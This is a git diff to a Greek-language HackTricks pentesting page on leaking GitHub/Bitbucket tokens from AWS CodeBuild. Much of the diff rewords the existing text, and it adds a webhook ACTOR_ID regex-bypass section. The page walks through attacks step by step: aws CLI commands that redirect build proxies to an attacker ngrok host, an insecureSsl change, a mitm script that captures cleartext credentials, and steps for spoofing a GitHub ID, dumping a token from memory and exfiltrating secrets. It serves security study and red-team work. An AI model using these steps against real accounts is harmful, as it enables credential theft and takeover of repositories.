diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 90c52a128..d18957745 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Ανάκτηση Ρυθμισμένων Tokens από Github/Bitbucket +## Ανάκτηση Github/Bitbucket Configured Tokens -Πρώτα, ελέγξτε αν υπάρχουν οποιαδήποτε διαπιστευτήρια πηγής ρυθμισμένα που θα μπορούσατε να διαρρεύσετε: +Πρώτα, έλεγξε αν υπάρχουν source credentials configured που θα μπορούσες να leak: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Μέσω Docker Image -Αν διαπιστώσετε ότι η αυθεντικοποίηση για παράδειγμα στο Github είναι ρυθμισμένη στον λογαριασμό, μπορείτε να **exfiltrate** αυτήν την **access** (**GH token ή OAuth token**) κάνοντάς το Codebuild να **χρησιμοποιήσει μια συγκεκριμένη εικόνα docker** για να εκτελέσει την κατασκευή του έργου. +Αν διαπιστώσετε ότι έχει ρυθμιστεί αυθεντικοποίηση, π.χ. προς το Github, στον λογαριασμό, μπορείτε να **exfiltrate** αυτή την **access** (**GH token or OAuth token**) κάνοντας το Codebuild να **use a specific Docker image** για να τρέξει το build του project. -Για αυτόν τον σκοπό μπορείτε να **δημιουργήσετε ένα νέο έργο Codebuild** ή να αλλάξετε το **περιβάλλον** ενός υπάρχοντος για να ρυθμίσετε την **εικόνα Docker**. +Για αυτόν τον σκοπό μπορείτε να **create a new Codebuild project** ή να αλλάξετε το **environment** ενός υπάρχοντος για να ορίσετε την **Docker image**. -Η εικόνα Docker που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Αυτή είναι μια πολύ βασική εικόνα Docker που θα ρυθμίσει τις **env μεταβλητές `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να παγιδεύσετε το μεγαλύτερο μέρος της κίνησης του host που υποδεικνύεται στο **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**. +Η Docker image που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις **env variables `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης του host που υποδεικνύεται στα **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**. 1. **Create & Upload your own Docker MitM image** -- Ακολουθήστε τις οδηγίες του repo για να ρυθμίσετε τη διεύθυνση IP του proxy σας και να ρυθμίσετε το SSL cert και **build the docker image**. -- **DO NOT SET `http_proxy`** για να μην παγιδεύσετε αιτήματα προς το metadata endpoint. -- Μπορείτε να χρησιμοποιήσετε **`ngrok`** όπως `ngrok tcp 4444` για να ρυθμίσετε το proxy στον host σας. -- Μόλις έχετε κατασκευάσει την εικόνα Docker, **upload it to a public repo** (Dockerhub, ECR...) +- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert και **build the docker image**. +- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται αιτήματα προς το metadata endpoint. +- Μπορείτε να χρησιμοποιήσετε **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας +- Μόλις έχετε τη Docker image χτισμένη, **upload it to a public repo** (Dockerhub, ECR...) 2. **Set the environment** -- Δημιουργήστε ένα **νέο έργο Codebuild** ή **τροποποιήστε** το περιβάλλον ενός υπάρχοντος. -- Ρυθμίστε το έργο να χρησιμοποιεί την **προηγουμένως παραγόμενη εικόνα Docker**. +- Δημιουργήστε ένα **new Codebuild project** ή **modify** το environment ενός υπάρχοντος. +- Ορίστε το project να χρησιμοποιεί την **previously generated Docker image**
3. **Set the MitM proxy in your host** -- Όπως υποδεικνύεται στο **Github repo**, μπορείτε να χρησιμοποιήσετε κάτι σαν: +- Όπως υποδεικνύει το **Github repo** μπορείτε να χρησιμοποιήσετε κάτι σαν: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Η **έκδοση mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργήσει. +> Η **έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργεί. -4. **Εκτελέστε την κατασκευή & καταγράψτε τα διαπιστευτήρια** +4. **Εκτελέστε το build & capture the credentials** - Μπορείτε να δείτε το token στην κεφαλίδα **Authorization**:
-Αυτό θα μπορούσε επίσης να γίνει από το aws cli με κάτι σαν +Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι σαν ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Μέσω insecureSSL **Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **χωρίς να ελέγχει το πιστοποιητικό** offered by the platform. +Ενεργοποιώντας την, επιτρέπει στο Codebuild να συνδεθεί στο αποθετήριο **χωρίς έλεγχο του πιστοποιητικού** που προσφέρει η πλατφόρμα. -- First you need to enumerate the current configuration with something like: +- Πρώτα πρέπει να απαριθμήσετε την τρέχουσα διαμόρφωση με κάτι σαν: ```bash aws codebuild batch-get-projects --name ``` -- Στη συνέχεια, με τις συγκεντρωμένες πληροφορίες μπορείτε να ενημερώσετε τις ρυθμίσεις του έργου **`insecureSsl`** σε **`True`**. Ακολουθεί ένα παράδειγμα της ενημέρωσής μου για ένα έργο, παρατηρήστε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συγκεντρωμένη διαμόρφωση). -- Επιπλέον, προσθέστε επίσης τις μεταβλητές env **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σας όπως: +- Έπειτα, με τις συλλεγμένες πληροφορίες μπορείς να ενημερώσεις την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το ακόλουθο είναι ένα παράδειγμα της ενημέρωσής μου ενός project — πρόσεξε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξεις από την συλλεγμένη διαμόρφωση). +- Επιπλέον, πρόσθεσε επίσης τις env μεταβλητές **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σου ως εξής: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην πόρτα που υποδεικνύεται από τις μεταβλητές proxy (http_proxy και https_proxy) +- Στη συνέχεια, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Τέλος, κάντε κλικ στο **Build the project**, τα **credentials** θα σταλούν σε **καθαρό κείμενο** (base64) στην θύρα mitm: +- Τέλος, κάντε κλικ στο **Build the project**, τα **credentials** θα σταλούν **σε απλό κείμενο** (base64) στη θύρα του mitm:
-### ~~Μέσω πρωτοκόλλου HTTP~~ +### ~~Μέσω HTTP πρωτοκόλλου~~ -> [!TIP] > **Αυτή η ευπάθεια διορθώθηκε από την AWS κάποια στιγμή την εβδομάδα της 20ης Φεβρουαρίου 2023 (νομίζω την Παρασκευή). Έτσι, ένας επιτιθέμενος δεν μπορεί να την εκμεταλλευτεί πια :)** +> [!TIP] > **This vulnerability διορθώθηκε από την AWS κάποια στιγμή την εβδομάδα της 20ής Φεβρουαρίου 2023 (νομίζω Παρασκευή). Οπότε ένας attacker δεν μπορεί να το εκμεταλλευτεί πια :)** -Ένας επιτιθέμενος με **υψηλά δικαιώματα σε έναν CodeBuild θα μπορούσε να διαρρεύσει το token Github/Bitbucket** που έχει ρυθμιστεί ή αν τα δικαιώματα έχουν ρυθμιστεί μέσω OAuth, το ** προσωρινό OAuth token που χρησιμοποιείται για την πρόσβαση στον κώδικα**. +Ένας attacker με **elevated permissions σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token** που έχει ρυθμιστεί ή αν τα permissions είχαν ρυθμιστεί μέσω OAuth, το **temporary OAuth token που χρησιμοποιείται για πρόσβαση στον κώδικα**. -- Ένας επιτιθέμενος θα μπορούσε να προσθέσει τις μεταβλητές περιβάλλοντος **http_proxy** και **https_proxy** στο έργο CodeBuild που να δείχνουν στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`). +- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project που δείχνουν στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
-- Στη συνέχεια, αλλάξτε τη διεύθυνση URL του αποθετηρίου github για να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions` -- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην θύρα που υποδεικνύεται από τις μεταβλητές proxy (http_proxy και https_proxy) +- Μετά, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions` +- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που δείχνουν οι proxy μεταβλητές (http_proxy και https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Στη συνέχεια, κάντε κλικ στο **Build the project** ή ξεκινήστε την κατασκευή από τη γραμμή εντολών: +- Στη συνέχεια, κάντε κλικ στο **Build the project** ή ξεκινήστε το build από τη γραμμή εντολών: ```sh aws codebuild start-build --project-name ``` -- Τέλος, τα **credentials** θα σταλούν σε καθαρό κείμενο (base64) στη θύρα mitm: +- Τέλος, τα **credentials** θα **σταλούν σε clear text** (base64) στο mitm port:
> [!WARNING] -> Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από τη μηχανή του, να καταγράψει όλα τα δικαιώματα που έχει και να (κατα)χρησιμοποιήσει πιο εύκολα από το να χρησιμοποιήσει απευθείας την υπηρεσία CodeBuild. +> Τώρα ένας attacker θα μπορεί να χρησιμοποιήσει το token από το μηχάνημά του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (ab)use πιο εύκολα από ό,τι χρησιμοποιώντας την υπηρεσία CodeBuild άμεσα. + +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Λανθασμένα διαμορφωμένα CodeBuild GitHub webhooks που χρησιμοποιούν μη αγκυρωμένα `ACTOR_ID` regexes επιτρέπουν σε *untrusted* PRs να ξεκινήσουν privileged builds. Αν η allowlist είναι σαν `123456|7890123` χωρίς `^`/`$`, οποιοδήποτε ID που περιέχει μία από αυτές τις υποσυμβολοσειρές ταιριάζει. Επειδή τα GitHub user IDs είναι διαδοχικά, ένας attacker μπορεί να «τρέξει» για να εγγράψει ένα “eclipsing” ID (ένα superstring ενός trusted ID) και να ενεργοποιήσει το build. + +**Exploit path** + +1. Βρείτε δημόσια CodeBuild projects που εκθέτουν webhook filters και εξάγετε μια μη αγκυρωμένη `ACTOR_ID` allowlist. +2. Obtain an eclipsing GitHub ID: +- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool). +- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring. +3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs. +4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token. +5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}